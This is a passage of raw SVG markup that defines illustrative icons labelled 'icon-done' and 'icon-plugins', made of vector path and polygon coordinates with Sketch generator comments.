L14.366,84.55 C14.212,84.55 14.087,84.675 14.087,84.829 L14.087,103.571 L12.587,103.571 L12.587,84.829 C12.587,83.848 13.385,83.05 14.366,83.05 L19.216,83.05 C19.83,83.05 20.394,83.36 20.722,83.88 L21.752,85.52 L39.384,85.52 C40.447,85.52 41.313,86.385 41.313,87.449 L41.313,101.296 C41.313,101.951 41.746,102.926 42.942,102.926 L42.942,104.426" id="Fill-434" fill="#0073AA"></path> <polygon id="Fill-435" fill="#0073AA" points="5.332 104.426 164.92275 104.426 164.92275 102.926 5.332 102.926"></polygon> <polygon id="Fill-436" fill="#0073AA" points="0.77 104.426 3.509 104.426 3.509 102.926 0.77 102.926"></polygon> </g> </g> </g> </symbol> <symbol id="icon-done" viewBox="0 0 177 107" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- Generator: Sketch 44.1 (41455) - http://www.bohemiancoding.com/sketch --> <desc>Created with Sketch.</desc> <defs></defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <path d="M62.855,71.007 L62.759,71.007 C62.336,69.55 60.994,68.484 59.401,68.484 C58.705,68.484 58.059,68.689 57.514,69.039 C57.16,66.744 55.182,64.984 52.788,64.984 C50.638,64.984 48.82,66.4 48.215,68.35 C47.942,68.277 47.656,68.234 47.36,68.234 C45.72,68.234 44.364,69.436 44.116,71.007 L43.58,71.007 C42.23,71.007 41.125,72.112 41.125,73.462 L41.125,73.643 C41.125,74.993 42.23,76.098 43.58,76.098 L62.855,76.098 C64.205,76.098 65.31,74.993 65.31,73.643 L65.31,73.462 C65.31,72.112 64.205,71.007 62.855,71.007" id="Fill-447" fill="#FFFFFF"></path> <path d="M52.734,76.848 L43.552,76.848 C41.603,76.848 40.017,75.262 40.017,73.313 L40.017,73.108 C40.017,71.159 41.603,69.573 43.552,69.573 L43.565,69.573 C44.185,67.566 46.144,66.208 48.328,66.456 C48.409,66.268 48.501,66.083 48.602,65.904 C48.789,65.567 49.014,65.243 49.268,64.941 C50.447,63.543 52.171,62.741 53.997,62.741 C57.065,62.741 59.632,64.943 60.1,67.977 L58.617,68.205 C58.263,65.908 56.32,64.241 53.997,64.241 C52.614,64.241 51.309,64.848 50.415,65.907 C50.223,66.136 50.053,66.381 49.911,66.636 C49.75,66.923 49.621,67.223 49.526,67.531 L49.314,68.222 L48.614,68.034 C46.835,67.552 45.17,68.734 44.9,70.44 L44.8,71.073 L43.552,71.073 C42.43,71.073 41.517,71.986 41.517,73.108 L41.517,73.313 C41.517,74.435 42.43,75.348 43.552,75.348 L52.734,75.348 L52.734,76.848" id="Fill-449" fill="#0073AA"></path> <path d="M50.593,69.095 L49.093,69.095 C49.093,68.442 48.561,67.912 47.909,67.912 L47.909,66.412 C49.389,66.412 50.593,67.615 50.593,69.095" id="Fill-450" fill="#0073AA"></path> <path d="M118.93,55.565 C118.058,54.222 116.583,53.42 114.986,53.42 C114.142,53.42 113.313,53.647 112.59,54.076 L111.824,52.786 C112.779,52.22 113.872,51.92 114.986,51.92 C117.094,51.92 119.038,52.978 120.188,54.749 L118.93,55.565" id="Fill-453" fill="#0073AA"></path> <path d="M129.06,66.089 L116.041,66.089 L116.041,64.589 L129.06,64.589 C130.497,64.589 131.667,63.42 131.667,61.982 L131.667,61.735 C131.667,60.297 130.497,59.128 129.06,59.128 L128.365,59.128 L128.208,58.587 C127.712,56.874 126.119,55.679 124.337,55.679 C123.566,55.679 122.814,55.9 122.162,56.319 L121.191,56.941 L121.016,55.802 C120.577,52.958 118.172,50.894 115.295,50.894 C113.582,50.894 111.966,51.646 110.861,52.957 C110.624,53.238 110.414,53.542 110.235,53.861 C110.037,54.214 109.877,54.587 109.76,54.968 L109.546,55.658 L108.848,55.47 C108.52,55.382 108.193,55.337 107.875,55.337 L107.875,53.837 C108.102,53.837 108.33,53.853 108.559,53.884 C108.666,53.626 108.789,53.373 108.927,53.128 C109.151,52.727 109.416,52.344 109.715,51.99 C111.104,50.34 113.139,49.394 115.295,49.394 C118.572,49.394 121.364,51.521 122.274,54.579 C122.928,54.315 123.627,54.179 124.337,54.179 C126.598,54.179 128.635,55.581 129.469,57.648 C131.542,57.854 133.167,59.608 133.167,61.735 L133.167,61.982 C133.167,64.247 131.324,66.089 129.06,66.089" id="Fill-454" fill="#0073AA"></path> <path d="M120.512,17.724 L116.237,17.724 C115.823,17.724 115.487,17.388 115.487,16.974 C115.487,16.56 115.823,16.224 116.237,16.224 L120.512,16.224 C120.926,16.224 121.262,16.56 121.262,16.974 C121.262,17.388 120.926,17.724 120.512,17.724" id="Fill-456" fill="#0073AA"></path> <path d="M118.375,19.861 C117.961,19.861 117.625,19.525 117.625,19.111 L117.625,14.837 C117.625,14.423 117.961,14.087 118.375,14.087 C118.789,14.087 119.125,14.423 119.125,14.837 L119.125,19.111 C119.125,19.525 118.789,19.861 118.375,19.861" id="Fill-457" fill="#0073AA"></path> <path d="M43.262,17.724 L38.987,17.724 C38.573,17.724 38.237,17.388 38.237,16.974 C38.237,16.56 38.573,16.224 38.987,16.224 L43.262,16.224 C43.676,16.224 44.012,16.56 44.012,16.974 C44.012,17.388 43.676,17.724 43.262,17.724" id="Fill-458" fill="#0073AA"></path> <path d="M41.125,19.861 C40.711,19.861 40.375,19.525 40.375,19.111 L40.375,14.837 C40.375,14.423 40.711,14.087 41.125,14.087 C41.539,14.087 41.875,14.423 41.875,14.837 L41.875,19.111 C41.875,19.525 41.539,19.861 41.125,19.861" id="Fill-459" fill="#0073AA"></path> <path d="M167.776,59.179 C167.584,59.179 167.393,59.106 167.246,58.96 C166.953,58.667 166.953,58.192 167.246,57.899 L170.269,54.877 C170.561,54.583 171.036,54.583 171.329,54.877 C171.622,55.169 171.622,55.644 171.329,55.937 L168.307,58.96 C168.16,59.106 167.969,59.179 167.776,59.179" id="Fill-460" fill="#0073AA"></path> <path d="M170.799,59.179 C170.606,59.179 170.415,59.106 170.269,58.96 L167.246,55.937 C166.953,55.644 166.953,55.169 167.246,54.877 C167.539,54.583 168.014,54.583 168.307,54.877 L171.329,57.899 C171.622,58.192 171.622,58.667 171.329,58.96 C171.183,59.106 170.991,59.179 170.799,59.179" id="Fill-461" fill="#0073AA"></path> <polygon id="Fill-466" fill="#0073AA" points="52.286 13.45 93.083 13.45 93.083 11.95 52.286 11.95"></polygon> <polygon id="Fill-467" fill="#0073AA" points="9.023 59.856 34.619 59.856 34.619 58.356 9.023 58.356"></polygon> <polygon id="Fill-468" fill="#0073AA" points="142.007 67.75 161.109 67.75 161.109 66.25 142.007 66.25"></polygon> <polygon id="Fill-469" fill="#0073AA" points="163.403 67.75 166.009 67.75 166.009 66.25 163.403 66.25"></polygon> <path d="M93.102,28.199 C93.102,28.939 92.502,29.538 91.763,29.538 C91.024,29.538 90.425,28.939 90.425,28.199 C90.425,27.46 91.024,26.861 91.763,26.861 C92.502,26.861 93.102,27.46 93.102,28.199" id="Fill-471" fill="#0073AA"></path> <path d="M161.822,49.274 C161.822,50.147 161.114,50.855 160.241,50.855 C159.367,50.855 158.659,50.147 158.659,49.274 C158.659,48.401 159.367,47.693 160.241,47.693 C161.114,47.693 161.822,48.401 161.822,49.274" id="Fill-472" fill="#0073AA"></path> <path d="M141.313,34.272 L147.564,34.272 L147.586,33.937 C147.722,31.815 150.68,28.247 152.484,26.167 C154.733,23.575 156.095,20.192 156.095,16.49 C156.095,8.326 149.477,1.708 141.313,1.708 L141.313,34.272" id="Fill-474" fill="#E7F7FF"></path> <path d="M141.309,34.272 L135.058,34.272 L135.037,33.937 C134.9,31.815 131.941,28.247 130.137,26.167 C127.888,23.575 126.526,20.192 126.526,16.49 C126.526,8.326 133.144,1.708 141.308,1.708 L141.309,34.272" id="Fill-475" fill="#FFFFFF"></path> <path d="M141.211,34.272 L144.772,34.272 L144.784,33.937 C144.86,31.815 146.513,28.247 147.541,26.167 C148.822,23.575 149.598,20.192 149.598,16.49 C149.598,8.326 145.827,1.708 141.176,1.708 L141.211,34.272" id="Fill-476" fill="#FFFFFF"></path> <path d="M141.208,34.272 L137.647,34.272 L137.634,33.937 C137.554,31.815 135.835,28.247 134.807,26.167 C133.526,23.575 132.75,20.192 132.75,16.49 C132.75,8.326 136.521,1.708 141.173,1.708 L141.208,34.272" id="Fill-477" fill="#E7F7FF"></path> <path d="M141.96,33.522 L144.062,33.522 C144.235,31.818 145.157,29.296 146.869,25.835 C148.146,23.251 148.849,19.933 148.849,16.49 C148.849,9.346 145.749,3.243 141.927,2.528 L141.96,33.522 Z M145.497,35.022 L140.462,35.022 L140.425,0.957 L141.176,0.957 C146.319,0.957 150.349,7.78 150.349,16.49 C150.349,20.158 149.59,23.713 148.214,26.5 C146.064,30.848 145.569,32.959 145.534,33.964 L145.497,35.022 L145.497,35.022 Z" id="Fill-478" fill="#0073AA"></path> <path d="M138.354,33.522 L140.457,33.522 L140.424,2.524 C136.543,3.215 133.5,9.215 133.5,16.49 C133.5,19.935 134.203,23.253 135.479,25.835 C136.788,28.483 138.133,31.436 138.354,33.522 Z M141.959,35.022 L136.925,35.022 L136.885,33.966 C136.807,31.907 134.935,28.118 134.135,26.5 C132.759,23.715 132,20.161 132,16.49 C132,7.78 136.029,0.957 141.173,0.957 L141.922,0.957 L141.959,35.022 L141.959,35.022 Z" id="Fill-479" fill="#0073AA"></path> <path d="M135.731,33.522 L146.881,33.522 C147.175,31.771 148.781,29.27 151.891,25.706 C154.118,23.154 155.345,19.881 155.345,16.49 C155.345,12.573 153.771,8.939 150.914,6.257 C148.06,3.578 144.325,2.24 140.399,2.487 C133.477,2.925 127.855,8.467 127.324,15.378 C127.031,19.185 128.244,22.855 130.74,25.712 C133.7,29.1 135.375,31.723 135.731,33.522 Z M147.354,35.022 L135.273,35.022 C134.758,35.022 134.33,34.618 134.3,34.103 C134.21,32.708 132.501,30.007 129.611,26.699 C126.848,23.536 125.504,19.475 125.828,15.263 C126.417,7.611 132.641,1.475 140.306,0.99 C144.632,0.714 148.781,2.197 151.941,5.163 C155.058,8.089 156.845,12.217 156.845,16.49 C156.845,20.243 155.487,23.867 153.021,26.693 C149.258,31.005 148.396,33.039 148.334,33.986 L148.326,34.107 C148.293,34.621 147.865,35.022 147.354,35.022 L147.354,35.022 Z" id="Fill-480" fill="#0073AA"></path> <path d="M142.856,53.914 L140.071,53.914 C137.876,53.914 136.08,52.118 136.08,49.923 L136.08,44.851 L146.847,44.851 L146.847,49.923 C146.847,52.118 145.051,53.914 142.856,53.914" id="Fill-481" fill="#8AC4E6"></path> <path d="M137.51,49.923 L137.51,44.851 L136.08,44.851 L136.08,49.923 C136.08,52.118 137.876,53.914 140.071,53.914 L141.501,53.914 C139.306,53.914 137.51,52.118 137.51,49.923" id="Fill-482" fill="#E7F7FF"></path> <path d="M144.395,44.851 L144.395,49.923 C144.395,52.118 142.599,53.914 140.404,53.914 L142.856,53.914 C145.051,53.914 146.847,52.118 146.847,49.923 L146.847,44.851 L144.395,44.851" id="Fill-483" fill="#E7F7FF"></path> <polyline id="Fill-484" fill="#468EBF" points="137.51 47.072 137.51 44.851 144.395 44.851 144.395 46.106 137.51 47.072"></polyline> <path d="M136.829,45.601 L136.829,49.923 C136.829,51.71 138.283,53.164 140.07,53.164 L142.856,53.164 C144.644,53.164 146.098,51.71 146.098,49.923 L146.098,45.601 L136.829,45.601 Z M142.856,54.664 L140.07,54.664 C137.456,54.664 135.329,52.537 135.329,49.923 L135.329,44.101 L147.598,44.101 L147.598,49.923 C147.598,52.537 145.471,54.664 142.856,54.664 L142.856,54.664 Z" id="Fill-487" fill="#0073AA"></path> <path d="M147.265,44.788 L135.662,44.788 C135.113,44.788 134.664,44.339 134.664,43.79 L134.664,43.789 C134.664,43.24 135.113,42.791 135.662,42.791 L147.265,42.791 C147.814,42.791 148.263,43.24 148.263,43.789 L148.263,43.79 C148.263,44.339 147.814,44.788 147.265,44.788" id="Fill-488" fill="#62A6CF"></path> <path d="M135.662,43.541 C135.527,43.541 135.414,43.655 135.414,43.79 C135.414,43.924 135.527,44.038 135.662,44.038 L147.265,44.038 C147.399,44.038 147.514,43.924 147.514,43.79 C147.514,43.655 147.399,43.541 147.265,43.541 L135.662,43.541 Z M147.265,45.538 L135.662,45.538 C134.698,45.538 133.914,44.754 133.914,43.79 C133.914,42.825 134.698,42.041 135.662,42.041 L147.265,42.041 C148.229,42.041 149.014,42.825 149.014,43.79 C149.014,44.754 148.229,45.538 147.265,45.538 L147.265,45.538 Z" id="Fill-489" fill="#0073AA"></path> <polyline id="Fill-492" fill="#0073AA" points="137.017 43.04 134.32 34.334 135.754 33.891 138.45 42.596 137.017 43.04"></polyline> <polyline id="Fill-493" fill="#0073AA" points="145.721 43.024 144.279 42.611 146.729 34.065 148.17 34.479 145.721 43.024"></polyline> <path d="M104.043,65.339 L102.706,65.339 C100.86,65.339 99.349,63.829 99.349,61.982 C99.349,63.829 100.86,65.339 102.706,65.339 L104.043,65.339" id="Fill-494" fill="#96BCD2"></path> <path d="M117.288,66.089 L116.041,66.089 L116.041,64.589 L116.179,64.589 L117.288,66.089 M108.372,55.373 C108.205,55.349 108.039,55.337 107.875,55.337 L107.875,53.837 L107.958,53.843 L107.958,55.318 C108.101,55.318 108.24,55.337 108.372,55.373" id="Fill-497" fill="#2871AB"></path> <path d="M66.57,62.586 L97.489,105.676 L34.296,105.676 L66.149,62.583 C66.254,62.441 66.467,62.443 66.57,62.586" id="Fill-499" fill="#E7F7FF"></path> <path d="M33.692,105.23 L65.546,62.137 C65.735,61.881 66.039,61.727 66.358,61.727 C66.685,61.729 66.989,61.886 67.178,62.147 L77.6536458,76.6425781 L76.6692708,78.1077474 L66.35,63.574 L34.899,106.122 L33.692,105.23 Z" id="Fill-500" fill="#0073AA"></path> <polyline id="Fill-501" fill="#96BCD2" points="85.855 89.463 75.321 74.782 85.855 89.463"></polyline> <polygon id="Fill-502" fill="#8AC4E6" points="52.948 105.181 75.134847 75.8929036 97.134 105.181"></polygon> <polyline id="Fill-504" fill="#ADDDF8" points="143.251 105.181 56.448 105.181 99.205 45.594 143.251 105.181"></polyline> <polyline id="Fill-505" fill="#FFFFFF" points="109.61 59.649 107.731 57.282 107.841 57.133 99.193 45.594 91.22 57.133 90.913 57.133 88.916 59.649 92.121 64.116 94.206 61.295 99.407 68.543 104.542 61.596 106.405 64.116 109.61 59.649"></polyline> <polyline id="Fill-506" fill="#0073AA" points="142.641188 106.122 98.9618386 46.8885729 56.5677088 106.112927 55.3418229 105.231871 98.9437369 44.32 143.854 105.222798 142.641188 106.122"></polyline> <polygon id="Fill-507" fill="#0073AA" points="98.455 47.073 99.955 47.073 99.955 32.087 98.455 32.087"></polygon> <polyline id="Fill-508" fill="#8AC4E6" points="115.521 45.057 105.174 45.057 105.174 37.006 115.521 37.006 113.909 41.031 115.521 45.057"></polyline> <path d="M105.924,44.307 L114.412,44.307 L113.102,41.031 L114.412,37.756 L105.924,37.756 L105.924,44.307 Z M116.629,45.807 L104.424,45.807 L104.424,36.256 L116.629,36.256 L114.717,41.031 L116.629,45.807 L116.629,45.807 Z" id="Fill-509" fill="#0073AA"></path> <polygon id="Fill-510" fill="#ADDDF8" points="99.263 42.37 109.61 42.37 109.61 34.319 99.263 34.319"></polygon> <path d="M100.013,41.62 L108.86,41.62 L108.86,35.069 L100.013,35.069 L100.013,41.62 Z M98.513,43.12 L110.36,43.12 L110.36,33.569 L98.513,33.569 L98.513,43.12 Z" id="Fill-511" fill="#0073AA"></path> <path d="M21.023,89.476 C12.061,87.325 13.217,80.28 13.229,80.209 L13.341,79.591 L19.459,79.591 L19.459,81.091 L14.659,81.091 C14.643,82.622 15.225,86.542 21.373,88.017 L21.023,89.476" id="Fill-512" fill="#0073AA"></path> <path d="M36.928,89.476 L36.578,88.017 C42.766,86.532 43.325,82.62 43.297,81.091 L38.491,81.091 L38.491,79.591 L44.611,79.591 L44.722,80.209 C44.734,80.28 45.89,87.325 36.928,89.476" id="Fill-513" fill="#0073AA"></path> <path d="M38.565,81.6647988 C38.565,80.3060295 38.334,79.0116845 37.931,77.813 L19.997,77.813 C19.594,79.0116845 19.363,80.3060295 19.363,81.6647988 C19.363,87.2404387 23.08,92.8209593 27.864,93.5784342 L27.864,101.038 L30.064,101.038 L30.064,93.5784342 C34.848,92.8209593 38.565,87.2404387 38.565,81.6647988" id="Fill-514" fill="#E7F7FF"></path> <path d="M28.39,93.958 C23.949,92.768 22.961,87.189 22.961,81.759 C22.961,80.367 23.191,79.041 23.594,77.813 L21.436,77.813 C21.033,79.041 20.802,80.367 20.802,81.759 C20.802,87.471 23.08,93.188 27.864,93.964 C27.864,93.964 28.159,94.02 28.39,93.958" id="Fill-515" fill="#FFFFFF"></path> <polygon id="Fill-516" fill="#0073AA" points="24.596 78.563 26.353 78.563 26.353 77.063 24.596 77.063"></polygon> <path d="M30.815,100.856 L27.114,100.856 L27.114,93.5373925 C22.372,92.4292537 18.613,87.1764125 18.613,81.480504 C18.613,80.1465984 18.839,78.8239811 19.284,77.5483986 L19.454,77.063 L22.971,77.063 L22.971,78.4740426 L20.553,78.4740426 C20.261,79.4551875 20.113,80.4645533 20.113,81.480504 C20.113,86.6750221 23.718,91.6146118 27.984,92.2655728 L28.614,92.3615237 L28.614,99.4449574 L29.315,99.4449574 L29.315,92.3615237 L29.944,92.2655728 C34.21,91.6146118 37.815,86.6750221 37.815,81.480504 C37.815,80.465494 37.667,79.4561282 37.376,78.4740426 L27.461,78.4740426 L27.461,77.063 L38.476,77.063 L38.645,77.5483986 C39.089,78.8249218 39.315,80.1484798 39.315,81.480504 C39.315,87.1764125 35.556,92.4292537 30.815,93.5373925 L30.815,100.856" id="Fill-517" fill="#0073AA"></path> <polygon id="Fill-518" fill="#0073AA" points="26.758 96.12 31.287 96.12 31.287 94.62 26.758 94.62"></polygon> <polygon id="Fill-519" fill="#0073AA" points="26.758 98.803 31.287 98.803 31.287 97.303 26.758 97.303"></polygon> <path d="M24.061,105.007 L33.771,105.007 L33.771,101.861 C33.771,101.674 33.618,101.522 33.432,101.522 L24.399,101.522 C24.213,101.522 24.061,101.674 24.061,101.861 L24.061,105.007 Z M35.271,106.507 L22.561,106.507 L22.561,101.861 C22.561,100.847 23.386,100.022 24.399,100.022 L33.432,100.022 C34.445,100.022 35.271,100.847 35.271,101.861 L35.271,106.507 L35.271,106.507 Z" id="Fill-521" fill="#0073AA"></path> <polygon id="Fill-522" fill="#FFFFFF" points="25.909 104.025 31.923 104.025 31.923 101.625 25.909 101.625"></polygon> <polygon id="Fill-523" fill="#0073AA" points="27.461 103.575 30.289 103.575 30.289 102.075 27.461 102.075"></polygon> <polygon id="Fill-524" fill="#0073AA" points="21.198 106.507 36.418 106.507 36.418 105.007 21.198 105.007"></polygon> <polygon id="Fill-525" fill="#0073AA" points="0.294 106.426 3.033 106.426 3.033 104.926 0.294 104.926"></polygon> <polygon id="Fill-526" fill="#0073AA" points="170.241 106.426 176.29 106.426 176.29 104.926 170.241 104.926"></polygon> <polygon id="Fill-527" fill="#0073AA" points="4.856 106.426 168.679 106.426 168.679 104.926 4.856 104.926"></polygon> <path d="M80.646,41.035 C80.646,45.432 77.082,48.996 72.685,48.996 C68.288,48.996 64.723,45.432 64.723,41.035 C64.723,36.638 68.288,33.073 72.685,33.073 C77.082,33.073 80.646,36.638 80.646,41.035" id="Fill-528" fill="#E7F7FF"></path> <g class="spinning"> <path d="M72.685,33.823 C68.708,33.823 65.473,37.058 65.473,41.035 C65.473,45.011 68.708,48.246 72.685,48.246 C76.661,48.246 79.896,45.011 79.896,41.035 C79.896,37.058 76.661,33.823 72.685,33.823 Z M72.685,49.746 C67.881,49.746 63.973,45.838 63.973,41.035 C63.973,36.231 67.881,32.323 72.685,32.323 C77.488,32.323 81.396,36.231 81.396,41.035 C81.396,45.838 77.488,49.746 72.685,49.746 L72.685,49.746 Z" id="Fill-529" fill="#0073AA"></path> <polygon id="Fill-530" fill="#0073AA" points="71.935 31.075 73.435 31.075 73.435 27.179 71.935 27.179"></polygon> <polyline id="Fill-531" fill="#0073AA" points="78.357 32.814 77.063 32.057 78.045 30.375 79.34 31.132 78.357 32.814"></polyline> <polyline id="Fill-532" fill="#0073AA" points="81.73 36.799 80.994 35.493 84.388 33.581 85.124 34.887 81.73 36.799"></polyline> <polyline id="Fill-533" fill="#0073AA" points="84.567 42.003 82.619 41.942 82.666 40.443 84.614 40.504 84.567 42.003"></polyline> <polyline id="Fill-534" fill="#0073AA" points="84.146 48.855 80.815 46.837 81.592 45.554 84.924 47.572 84.146 48.855"></polyline> <polyline id="Fill-535" fill="#0073AA" points="77.517 51.807 76.751 50.094 78.12 49.482 78.886 51.194 77.517 51.807"></polyline> <polyline id="Fill-536" fill="#0073AA" points="72.996 54.907 71.496 54.859 71.62 50.965 73.12 51.013 72.996 54.907"></polyline> <polyline id="Fill-537" fill="#0073AA" points="66.99 51.519 65.719 50.722 66.754 49.072 68.025 49.869 66.99 51.519"></polyline> <polyline id="Fill-538" fill="#0073AA" points="60.752 48.115 60.057 46.786 63.509 44.982 64.204 46.311 60.752 48.115"></polyline> <polygon id="Fill-539" fill="#0073AA" points="60.79 41.313 62.736 41.313 62.736 39.813 60.79 39.813"></polygon> <polyline id="Fill-540" fill="#0073AA" points="63.926 36.236 60.658 34.113 61.475 32.855 64.742 34.978 63.926 36.236"></polyline> <polyline id="Fill-541" fill="#0073AA" points="67.543 32.472 66.72 30.835 68.06 30.161 68.883 31.798 67.543 32.472"></polyline> <path d="M156.536,105.296 L157.412,100.276 C157.587,99.271 156.814,98.351 155.794,98.351 L138.854,98.351 C137.834,98.351 137.061,99.271 137.236,100.276 L138.112,105.296 L156.536,105.296" id="Fill-542" fill="#FFFFFF"></path> </g> <path d="M157.274,105.425 L155.796,105.167 L156.694,100.023 C156.735,99.79 156.674,99.563 156.523,99.382 C156.37,99.201 156.156,99.102 155.92,99.102 L138.729,99.102 C138.492,99.102 138.278,99.201 138.126,99.382 C137.975,99.563 137.913,99.79 137.954,100.023 L138.852,105.167 L137.373,105.425 L136.476,100.281 C136.359,99.614 136.543,98.935 136.979,98.417 C137.413,97.898 138.052,97.602 138.729,97.602 L155.92,97.602 C156.597,97.602 157.234,97.898 157.67,98.417 C158.105,98.935 158.289,99.614 158.173,100.281 L157.274,105.425" id="Fill-543" fill="#0073AA"></path> <polygon id="Fill-544" fill="#0073AA" points="146.314 98.834 148.06 98.834 148.06 93.06 146.314 93.06"></polygon> <path d="M157.033,86.407 C157.033,86.407 157.34,90.568 154.964,92.945 C152.587,95.321 148.426,95.014 148.426,95.014 C148.426,95.014 148.118,90.852 150.495,88.475 C152.871,86.099 157.033,86.407 157.033,86.407" id="Fill-550" fill="#E7F7FF"></path> <path d="M156.292,87.148 C155.09,87.181 152.584,87.446 151.024,89.006 C149.467,90.564 149.2,93.069 149.168,94.272 C150.37,94.239 152.875,93.973 154.434,92.414 C155.999,90.849 156.262,88.349 156.292,87.148 Z M148.918,95.778 C148.604,95.778 148.406,95.764 148.37,95.762 L147.726,95.714 L147.678,95.069 C147.664,94.885 147.375,90.536 149.964,87.945 C152.555,85.355 156.905,85.646 157.088,85.659 L157.732,85.707 L157.78,86.351 C157.794,86.535 158.084,90.885 155.494,93.475 C153.414,95.555 150.198,95.778 148.918,95.778 L148.918,95.778 Z" id="Fill-551" fill="#0073AA"></path> <path d="M146.488,95.014 C146.488,95.014 146.796,90.852 144.419,88.475 C142.042,86.099 137.881,86.407 137.881,86.407 C137.881,86.407 137.573,90.568 139.95,92.945 C142.327,95.321 146.488,95.014 146.488,95.014" id="Fill-552" fill="#E7F7FF"></path> <path d="M138.623,87.147 C138.655,88.349 138.921,90.855 140.48,92.414 C142.039,93.973 144.544,94.239 145.746,94.272 C145.714,93.069 145.447,90.564 143.889,89.006 C142.323,87.44 139.823,87.177 138.623,87.147 Z M145.996,95.778 C144.716,95.778 141.5,95.555 139.42,93.475 C136.83,90.885 137.119,86.535 137.133,86.352 L137.181,85.707 L137.825,85.659 C138.009,85.646 142.359,85.354 144.949,87.945 C147.539,90.535 147.25,94.885 147.236,95.069 L147.189,95.714 L146.544,95.762 C146.508,95.764 146.31,95.778 145.996,95.778 L145.996,95.778 Z" id="Fill-553" fill="#0073AA"></path> </g> </symbol> <symbol id="icon-plugins" viewBox="0 0 179 95" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- Generator: Sketch 44.1 (41455) - http://www.bohemiancoding.com/sketch --> <desc>Created with Sketch.</desc> <defs></defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <path d="M156.632,94.094 L156.632,20.501 C156.632,18.283 155.034,16.485 153.064,16.485 L100.33,16.485 C98.36,16.485 96.762,18.283 96.762,20.501 L96.762,94.094 L156.632,94.094" id="Fill-183" fill="#FFFFFF"></path> <path d="M96.762,19.486 C96.762,17.828 98.105,16.485 99.763,16.485 L153.631,16.485 C155.288,16.485 156.632,17.828 156.632,19.486 L156.632,25.734 L96.762,25.734 L96.762,19.486 Z" id="Fill-184" fill="#FFFFFF"></path> <polygon id="Fill-185" fill="#0073AA" points="97.073 26.647 156.632 26.647 156.632 25.147 97.073 25.147"></polygon> <polygon id="Fill-186" fill="#0073AA" points="103.638 22.368 105.036 22.368 105.036 20.868 103.638 20.868"></polygon> <polygon id="Fill-187" fill="#0073AA" points="107.687 22.368 109.086 22.368 109.086 20.868 107.687 20.868"></polygon> <polygon id="Fill-188" fill="#0073AA" points="111.738 22.368 113.136 22.368 113.136 20.868 111.738 20.868"></polygon> <polygon id="Fill-189" fill="#E7F7FF" points="104.782 50.091 148.611 50.091 148.611 32.803 104.782 32.803"></polygon> <polygon id="Fill-190" fill="#9CC9E1" points="104.787 78.355 118.113 78.355 118.113 61.068 104.787 61.068"></polygon> <polygon id="Fill-191" fill="#D1E8F0" points="120.038 78.355 133.364 78.355 133.364 61.068 120.038 61.068"></polygon> <path d="M157.382,48.843 L155.882,48.843 L155.882,20.501 C155.882,18.7 154.618,17.235 153.064,17.235 L100.33,17.235 C98.776,17.235 97.512,18.7 97.512,20.501 L97.512,34.594 L96.012,34.594 L96.012,20.501 C96.012,17.873 97.949,15.735 100.33,15.735 L153.064,15.735 C155.445,15.735 157.382,17.873 157.382,20.501 L157.382,48.843" id="Fill-194" fill="#0073AA"></path> <polygon id="Fill-195" fill="#0073AA" points="155.882 94.094 157.382 94.094 157.382 68.271 155.882 68.271"></polygon> <path d="M81.917,3.637 L77.643,3.637 C77.229,3.637 76.893,3.301 76.893,2.887 C76.893,2.473 77.229,2.137 77.643,2.137 L81.917,2.137 C82.331,2.137 82.667,2.473 82.667,2.887 C82.667,3.301 82.331,3.637 81.917,3.637" id="Fill-196" fill="#0073AA"></path> <path d="M79.78,5.774 C79.366,5.774 79.03,5.439 79.03,5.024 L79.03,0.75 C79.03,0.336 79.366,0 79.78,0 C80.194,0 80.53,0.336 80.53,0.75 L80.53,5.024 C80.53,5.439 80.194,5.774 79.78,5.774" id="Fill-197" fill="#0073AA"></path> <path d="M8.165,57.95 L3.891,57.95 C3.477,57.95 3.141,57.614 3.141,57.2 C3.141,56.786 3.477,56.45 3.891,56.45 L8.165,56.45 C8.579,56.45 8.915,56.786 8.915,57.2 C8.915,57.614 8.579,57.95 8.165,57.95" id="Fill-198" fill="#0073AA"></path> <path d="M6.028,60.087 C5.614,60.087 5.278,59.751 5.278,59.337 L5.278,55.063 C5.278,54.648 5.614,54.313 6.028,54.313 C6.442,54.313 6.778,54.648 6.778,55.063 L6.778,59.337 C6.778,59.751 6.442,60.087 6.028,60.087" id="Fill-199" fill="#0073AA"></path> <path d="M167.204,14.301 C167.013,14.301 166.821,14.228 166.674,14.081 C166.381,13.788 166.381,13.314 166.674,13.021 L169.696,9.999 C169.989,9.706 170.464,9.706 170.757,9.999 C171.05,10.292 171.05,10.767 170.757,11.06 L167.735,14.081 C167.588,14.228 167.396,14.301 167.204,14.301" id="Fill-200" fill="#0073AA"></path> <path d="M170.226,14.301 C170.035,14.301 169.843,14.228 169.696,14.081 L166.674,11.06 C166.381,10.767 166.381,10.292 166.674,9.999 C166.967,9.706 167.442,9.706 167.735,9.999 L170.757,13.021 C171.05,13.314 171.05,13.788 170.757,14.081 C170.61,14.228 170.418,14.301 170.226,14.301" id="Fill-201" fill="#0073AA"></path> <polygon id="Fill-204" fill="#0073AA" points="21.566 3.637 72.286 3.637 72.286 2.137 21.566 2.137"></polygon> <polygon id="Fill-206" fill="#0073AA" points="0 40.018 25.157 40.018 25.157 38.518 0 38.518"></polygon> <path d="M8.698,32.416 C8.698,33.16 8.095,33.763 7.351,33.763 C6.608,33.763 6.005,33.16 6.005,32.416 C6.005,31.672 6.608,31.069 7.351,31.069 C8.095,31.069 8.698,31.672 8.698,32.416" id="Fill-210" fill="#0073AA"></path> <path d="M117.815,2.887 C117.815,3.631 117.212,4.234 116.468,4.234 C115.725,4.234 115.122,3.631 115.122,2.887 C115.122,2.143 115.725,1.54 116.468,1.54 C117.212,1.54 117.815,2.143 117.815,2.887" id="Fill-211" fill="#0073AA"></path> <path d="M172.52,56.45 C172.52,57.194 171.917,57.797 171.173,57.797 C170.43,57.797 169.827,57.194 169.827,56.45 C169.827,55.707 170.43,55.104 171.173,55.104 C171.917,55.104 172.52,55.707 172.52,56.45" id="Fill-212" fill="#0073AA"></path> <path d="M38.479,94.094 L34.696,94.094 C34.411,94.094 34.18,93.863 34.18,93.578 L34.18,39.087 L34.227,38.871 L36.119,34.773 C36.303,34.373 36.872,34.373 37.056,34.773 L38.947,38.871 L38.995,39.087 L38.995,93.578 C38.995,93.863 38.764,94.094 38.479,94.094" id="Fill-214" 